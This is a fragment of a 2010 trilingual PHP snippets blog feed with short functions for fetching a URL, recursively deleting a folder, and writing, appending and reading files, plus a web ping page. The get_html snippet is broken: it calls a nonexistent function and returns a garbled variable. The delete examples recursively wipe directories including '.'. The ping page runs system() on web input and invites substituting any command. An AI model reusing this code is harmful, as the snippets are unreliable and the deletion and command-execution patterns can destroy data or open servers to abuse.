href="#B95872230920940640"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C95872230920940640"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D95872230920940640"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A95872230920940640"&gt;&lt;div style="text-align: left;"&gt;Récupérer le contenu HTML d'un URL au format texte...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... no comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B95872230920940640"&gt;&lt;div style="text-align: left;"&gt;Get the HTML contents of a web page ...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... no comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C95872230920940640"&gt;&lt;div style="text-align: right;"&gt;الحصول على محتويات صفحة ويب&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;بدون تعليق&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D95872230920940640"&gt;&lt;a onClick='opennew("D95872230920940640")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;function get_html($url) {&lt;br /&gt; $html = get_file_contents($url);&lt;br /&gt; return ĥtml;&lt;br /&gt;}&lt;br /&gt;// eg.&lt;br /&gt;get_html('http://google.com');&lt;br /&gt;?&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-6225220901731132106?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/6225220901731132106/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=6225220901731132106&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6225220901731132106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6225220901731132106'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-simply-gets-html-contents-of-url.html' title='[PHP] Simply gets HTML contents of a URL | Récupérer simplement le contenu HTML d&apos;une page web'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-6259487254847871847</id><published>2010-01-11T18:18:00.000-08:00</published><updated>2010-01-12T04:58:11.870-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unlink'/><category scheme='http://www.blogger.com/atom/ns#' term='recurrence'/><category scheme='http://www.blogger.com/atom/ns#' term='opendir'/><category scheme='http://www.blogger.com/atom/ns#' term='closedir'/><category scheme='http://www.blogger.com/atom/ns#' term='readdir'/><category scheme='http://www.blogger.com/atom/ns#' term='delete folder'/><category scheme='http://www.blogger.com/atom/ns#' term='is_dir'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>[PHP] Completely delete a folder | Effacer complètement un dossier</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A55682366900146010"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B55682366900146010"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C55682366900146010"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D55682366900146010"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A55682366900146010"&gt;&lt;div style="text-align: left;"&gt;Effacer un dossier complètement...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... no comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B55682366900146010"&gt;&lt;div style="text-align: left;"&gt;Completely delete a folder ...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... no comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C55682366900146010"&gt;&lt;div style="text-align: right;"&gt;حذف مجلد بكامله&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;بدون تعليق&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D55682366900146010"&gt;&lt;a onClick='opennew("D55682366900146010")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;function del_dir($dirname) {&lt;br /&gt; if (is_dir($dirname))&lt;br /&gt; $dir_handle = opendir($dirname);&lt;br /&gt; if (!$dir_handle)&lt;br /&gt; return false;&lt;br /&gt; while($file = readdir($dir_handle)) {&lt;br /&gt;  if ($file != "." &amp;&amp; $file != "..") {&lt;br /&gt;   if (!is_dir($dirname."/".$file))&lt;br /&gt;   unlink($dirname."/".$file);&lt;br /&gt;   else&lt;br /&gt;   del_dir($dirname.'/'.$file);    &lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; closedir($dir_handle);&lt;br /&gt; rmdir($dirname);&lt;br /&gt; return true;&lt;br /&gt;}&lt;br /&gt;// eg.&lt;br /&gt;del_dir('/home/ubugnu/pics');&lt;br /&gt;del_dir('./files');&lt;br /&gt;del_dir('../old');&lt;br /&gt;del_dir('.');&lt;br /&gt;?&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-6259487254847871847?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/6259487254847871847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=6259487254847871847&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6259487254847871847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6259487254847871847'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-completely-delete-folder-effacer.html' title='[PHP] Completely delete a folder | Effacer complètement un dossier'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-1210515050191431431</id><published>2010-01-11T18:09:00.001-08:00</published><updated>2010-01-12T04:58:19.627-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='add to a file'/><category scheme='http://www.blogger.com/atom/ns#' term='fopen'/><category scheme='http://www.blogger.com/atom/ns#' term='ajouter dans un fichier'/><category scheme='http://www.blogger.com/atom/ns#' term='fwrite'/><category scheme='http://www.blogger.com/atom/ns#' term='fclose'/><title type='text'>[PHP] Add into a file | Ajouter dans un fichier</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A54299254529178140"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B54299254529178140"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C54299254529178140"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D54299254529178140"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A54299254529178140"&gt;&lt;div style="text-align: left;"&gt;Ajouter dans un fichier...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... no comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B54299254529178140"&gt;&lt;div style="text-align: left;"&gt;Add into a file ...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... no comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C54299254529178140"&gt;&lt;div style="text-align: right;"&gt;...يزيد في ملف&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;بدون تعلي&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D54299254529178140"&gt;&lt;a onClick='opennew("D54299254529178140")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;function add_to_file ($file, $data) {&lt;br /&gt; $fp = fopen($file, "a");&lt;br /&gt; fwrite($fp, $data);&lt;br /&gt; fclose($fp);&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-1210515050191431431?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/1210515050191431431/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=1210515050191431431&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/1210515050191431431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/1210515050191431431'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/perl-add-into-file-ajouter-dans-un.html' title='[PHP] Add into a file | Ajouter dans un fichier'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-7310397517879449006</id><published>2010-01-11T18:06:00.001-08:00</published><updated>2010-01-12T04:58:28.052-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='écrire dans une fichier'/><category scheme='http://www.blogger.com/atom/ns#' term='write to a file'/><category scheme='http://www.blogger.com/atom/ns#' term='fopen'/><category scheme='http://www.blogger.com/atom/ns#' term='fwrite'/><category scheme='http://www.blogger.com/atom/ns#' term='fclose'/><title type='text'>[PHP] Write into a file | Écrire dans un fichier</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A73902452178299420"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B73902452178299420"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C73902452178299420"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D73902452178299420"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A73902452178299420"&gt;&lt;div style="text-align: left;"&gt;Écrire dans un fichier...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... no comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B73902452178299420"&gt;&lt;div style="text-align: left;"&gt;Writes into a file ...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... no comments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C73902452178299420"&gt;&lt;div style="text-align: right;"&gt;...يكتب في ملف&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;بدون تعلي&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D73902452178299420"&gt;&lt;a onClick='opennew("D73902452178299420")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;function write_to_file ($file, $data) { &lt;br /&gt; $fp = fopen($file, "w");&lt;br /&gt; fwrite($fp, $data);&lt;br /&gt; fclose($fp);&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-7310397517879449006?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/7310397517879449006/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=7310397517879449006&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/7310397517879449006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/7310397517879449006'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-write-into-file-ecrire-dans-un.html' title='[PHP] Write into a file | Écrire dans un fichier'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-384041084289368388</id><published>2010-01-11T18:01:00.000-08:00</published><updated>2010-01-12T04:58:38.034-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fichier'/><category scheme='http://www.blogger.com/atom/ns#' term='fopen'/><category scheme='http://www.blogger.com/atom/ns#' term='file'/><category scheme='http://www.blogger.com/atom/ns#' term='une ligne'/><category scheme='http://www.blogger.com/atom/ns#' term='feof'/><category scheme='http://www.blogger.com/atom/ns#' term='fclose'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='fgets'/><category scheme='http://www.blogger.com/atom/ns#' term='rtrim'/><title type='text'>[PHP] Read from a file | Lire un fichier</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A67799865081906320"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B67799865081906320"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C67799865081906320"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D67799865081906320"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A67799865081906320"&gt;&lt;div style="text-align: left;"&gt;Lit un fichier...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... et retourne le résultat en une ligne.&lt;/div&gt;&lt;div style="text-align: left;"&gt;Pour récupérer le fichier en son état original enlever &lt;i&gt;rtrime()&lt;/i&gt;.&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B67799865081906320"&gt;&lt;div style="text-align: left;"&gt;Reads a file ...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... and returns the result in one line.&lt;/div&gt;&lt;div style="text-align: left;"&gt;To retrieve the file in its original condition please remove &lt;i&gt;rtrim()&lt;/i&gt;.&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C67799865081906320"&gt;&lt;div style="text-align: right;"&gt;...يقرأ ملف&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;و يرجع النتيجة في خط واحد&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: right;"&gt;&amp;nbsp;&amp;nbsp;rtrime‎‎‎‎() &amp;nbsp;لإسترجاع الملف في حالته الأولى إزالة &amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D67799865081906320"&gt;&lt;a onClick='opennew("D67799865081906320")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;function read_from_file ($file) {&lt;br /&gt; $handle = @fopen($file, "r");&lt;br /&gt; $data = '';&lt;br /&gt; if ($handle) {&lt;br /&gt;  while (!feof($handle)) {&lt;br /&gt;   $buffer = fgets($handle, 4096);&lt;br /&gt;   $data .= $buffer;&lt;br /&gt;  }&lt;br /&gt;  fclose($handle);&lt;br /&gt; }&lt;br /&gt; return rtrim($data);&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-384041084289368388?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/384041084289368388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=384041084289368388&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/384041084289368388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/384041084289368388'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-read-from-file-lire-un-fichier.html' title='[PHP] Read from a file | Lire un fichier'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-4762367915472972917</id><published>2010-01-11T17:00:00.001-08:00</published><updated>2010-01-12T12:54:14.514-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ping'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='emulation'/><category scheme='http://www.blogger.com/atom/ns#' term='terminal'/><title type='text'>[PHP] Emulate Terminal (PING example) | Émuler un terminal (exemple de PING)</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A64511765539646150"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B64511765539646150"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C64511765539646150"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D64511765539646150"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A64511765539646150"&gt;Envoyer un ping et voir le résultat comme sur le terminal.&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;L'utilisation est simple, juste écrire les arguments de la commande &lt;i&gt;&lt;b&gt;PING&lt;/b&gt;&lt;/i&gt; dans les champs appropriés.&lt;/div&gt;&lt;div&gt;Vous pouvez modifier la commande pour mettre ce que vous voulez, juste modifier ce qu'il y a à&amp;nbsp;l'intérieur&amp;nbsp;de la commande &lt;i&gt;systeme().&lt;/i&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B64511765539646150"&gt;&lt;div&gt;Send a ping and see the result as in the terminal.&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;Operation is simple, just write the arguments of the &lt;b&gt;&lt;i&gt;PING&lt;/i&gt;&lt;/b&gt; command in the appropriate fields.&lt;/div&gt;&lt;div&gt;You can change the command to put whatever you want, just change what is within the control &lt;i&gt;system()&lt;/i&gt;.&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;/i&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C64511765539646150"&gt;&lt;div dir="rtl"&gt;إرسل أمر PING و شاهد النتيجة كما في Terminal .&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl"&gt;الاستعمال سهل فقط كتابة معطيات الأمر في الحقول المناسبة.&lt;/div&gt;&lt;div dir="rtl"&gt;إذا أردت أن تستعمل أمر آخر عوضه في الدالة&amp;nbsp;()‎‎&amp;nbsp;‎system&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D64511765539646150"&gt;&lt;a onClick='opennew("D64511765539646150")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on codes-n-scripts.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;?&gt;&lt;br /&gt;&amp;lt;html&gt;&lt;br /&gt; &amp;lt;head&gt;&lt;br /&gt;  &amp;lt;title&gt;Web Ping&amp;lt;/title&gt;&lt;br /&gt;  &amp;lt;style type='text/css'&gt;&lt;br /&gt;   pre {&lt;br /&gt;    background:black;&lt;br /&gt; border:1px lime solid;&lt;br /&gt; color:lime;&lt;br /&gt;   }&lt;br /&gt;   td {&lt;br /&gt;    font-family:monospace;&lt;br /&gt;   }&lt;br /&gt;  &amp;lt;/style&gt;&lt;br /&gt; &amp;lt;/head&gt;&lt;br /&gt; &amp;lt;body&gt;&lt;br /&gt;  &amp;lt;?php&lt;br /&gt;&lt;br /&gt;   # clean the strings to prevent injection attacks&lt;br /&gt;   $BADCHARS='/[^\.\w]/';&lt;br /&gt;   $HOST=preg_replace($BADCHARS, '', $_GET['host']);&lt;br /&gt;   $C=preg_replace($BADCHARS, '', $_GET['c']);&lt;br /&gt;   $I=preg_replace($BADCHARS, '', $_GET['i']);&lt;br /&gt; &lt;br /&gt;   if ($I=="") { $I=1; } # assign default values&lt;br /&gt;   if ($C=="") { $C=4; } # assign default values&lt;br /&gt;&lt;br /&gt;   if ($HOST!="") { # this is where the magic happens&lt;br /&gt;    echo '&amp;lt;pre&gt;';&lt;br /&gt;    $last_line = system('/bin/ping '.$HOST.' -c '.$C.' -i '.$I, $retval);&lt;br /&gt;    echo '&amp;lt;/pre&gt;';&lt;br /&gt;   }&lt;br /&gt; &lt;br /&gt;  ?&gt;&lt;br /&gt;  &amp;lt;form action='ping.php' method='get'&gt;&lt;br /&gt;   &amp;lt;table&gt;&lt;br /&gt;    &amp;lt;tr&gt;&lt;br /&gt;     &amp;lt;td&gt;Hostname/IP:&amp;lt;/td&gt;&amp;lt;td&gt;&amp;lt;input type='text' name='host' value='&amp;lt;?php echo $HOST ?&gt;'/&gt;&amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;/tr&gt;&lt;br /&gt; &amp;lt;tr&gt;&lt;br /&gt;  &amp;lt;td&gt;count:&amp;lt;/td&gt;&amp;lt;td&gt;&amp;lt;input type='text' name='c' value='&amp;lt;?php echo $C ?&gt;' /&gt;&amp;lt;/td&gt;&lt;br /&gt; &amp;lt;/tr&gt;&lt;br /&gt; &amp;lt;tr&gt;&lt;br /&gt;  &amp;lt;td&gt;interval:&amp;lt;/td&gt;&amp;lt;td&gt;&amp;lt;input type='text' name='i' value='&amp;lt;?php echo $I ?&gt;' /&gt;&amp;lt;/td&gt;&lt;br /&gt; &amp;lt;/tr&gt;&lt;br /&gt;    &amp;lt;tr&gt;&lt;br /&gt;     &amp;lt;td colspan='2'&gt;&lt;br /&gt;      &amp;lt;input type='submit' value='Ping It' /&gt;&amp;lt;br&gt;&amp;lt;br&gt;&amp;lt;br&gt;&lt;br /&gt;     &amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;/tr&gt;&lt;br /&gt;   &amp;lt;/table&gt;&lt;br /&gt;  &amp;lt;/form&gt;&lt;br /&gt; &amp;lt;/body&gt;&lt;br /&gt;&amp;lt;/html&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-4762367915472972917?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/4762367915472972917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=4762367915472972917&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4762367915472972917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4762367915472972917'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/attend.html' title='[PHP] Emulate Terminal (PING example) | Émuler un terminal (exemple de PING)'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 